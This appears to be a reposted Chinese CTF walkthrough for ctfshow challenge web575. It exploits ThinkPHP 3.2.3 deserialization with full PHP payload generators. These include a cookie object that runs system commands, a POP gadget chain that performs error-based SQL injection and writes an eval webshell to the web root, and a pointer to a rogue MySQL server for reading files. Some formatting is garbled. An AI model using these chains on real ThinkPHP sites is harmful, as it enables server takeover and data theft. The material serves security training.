ctfshow ThinkPHP篇575

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow ThinkPHP篇575相关的知识,希望对你有一定的参考价值。

web575

给了源码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id)
	$user = M('Users');
	$user->find(intval($id));
	cookie('user',base64_encode(serialize($user->data())));

$this->show($user->username);

首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:

<?php
namespace Home\\Controller
class IndexController 
    public $id='1';   //get传入的id也要相同
    public $username='<?php system("cat /f*");?>';


namespace
    use Home\\Controller\\IndexController;
    echo base64_encode(serialize(new IndexController()));

?>

bp抓包修改cookie

当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
接着全局搜索function destroy(

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName是可控的,但是后面拼接了个空字符,当我们给$this->sessionName赋值数组,接着拼接上空字符串就会出问题了。

<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"

好在后面又调用了一次delete,并且传入的参数是完全可控的。

接着往下,可以看到调用了delete方法,并且$this->db我们可控。

那么我们就可以调用自带的数据库类中的delete()方法了。

这些类都是继承Driver.class.php下的Driver类。

我们找到里面的delete方法,发现最终的sql语句是delete from后面拼接上了$table$table是通过parseTable函数处理$options['table']得到的,$options['table']可控。
重点看下parseTable函数

如果我们的 t a b l e s 是 字 符 串 , 就 会 逗 号 分 隔 又 合 并 , 其 实 没 什 么 大 影 响 。 返 回 的 还 是 ‘ tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是` tablesoptions[‘table’]`的值。
最后再来看下执行sql语句的execute函数

可以看到他首先执行了一个初始化,其实就是去连接数据库


第一个我们可以利用的点:报错注入

<?php

namespace Think\\Image\\Driver
    use Think\\Session\\Driver\\Memcache;
    class Imagick
        private $img;
        public function __construct()
            $this->img=new Memcache();
        
    

namespace Think\\Session\\Driver
    use Think\\Model;
    class Memcache 
        protected $handle;
        public function __construct()
            $this->handle=new Model();
        



namespace Think
    use Think\\Db\\Driver\\mysql;
    class Model 
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct()
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
                "where" => "1"
            );
        
    

namespace Think\\Db\\Driver
    use PDO;
    class Mysql
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    

namespace
    use Think\\Image\\Driver\\Imagick;
    echo base64_encode(serialize(new Imagick()));

但是报错注入权限比较低,我们要想拿shell的话需要写入木马。所以可以开启堆叠后写入一句话木马.

<?php
namespace Think\\Image\\Driver
    use Think\\Session\\Driver\\Memcache;
    class Imagick
        private $img;
        public function __construct()
            $this->img=new Memcache();
        
    

namespace Think\\Session\\Driver
    use Think\\Model;
    class Memcache 
        protected $handle;
        public function __construct()
            $this->handle=new Model();
        




namespace Think
    use Think\\Db\\Driver\\Mysql;
    class Model 
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct()
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        
    

namespace Think\\Db\\Driver
    use PDO;
    class Mysql
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    

namespace
    use Think\\Image\\Driver\\Imagick;
    echo base64_encode(serialize(new Imagick()));

我们前面说到可以控制服务器去连接任意数据库,所以就可以构造恶意mysql数据库让服务器去连接。
脚本地址https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改要读的文件和端口(不要用3306)

修改php脚本中的ip、端口、库名等配置

运行脚本后传入序列化的值等待接收文件内容。

以上是关于ctfshow ThinkPHP篇575的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow ThinkPHP篇—3.2.3(569-578)

ctfshow ThinkPHP篇—3.2.3(569-578)

ctfshow ThinkPHP篇573

CTFSHOW 常用姿势篇(811-820)

CTFSHOW 常用姿势篇(811-820)

CTFSHOW 常用姿势篇(801-810)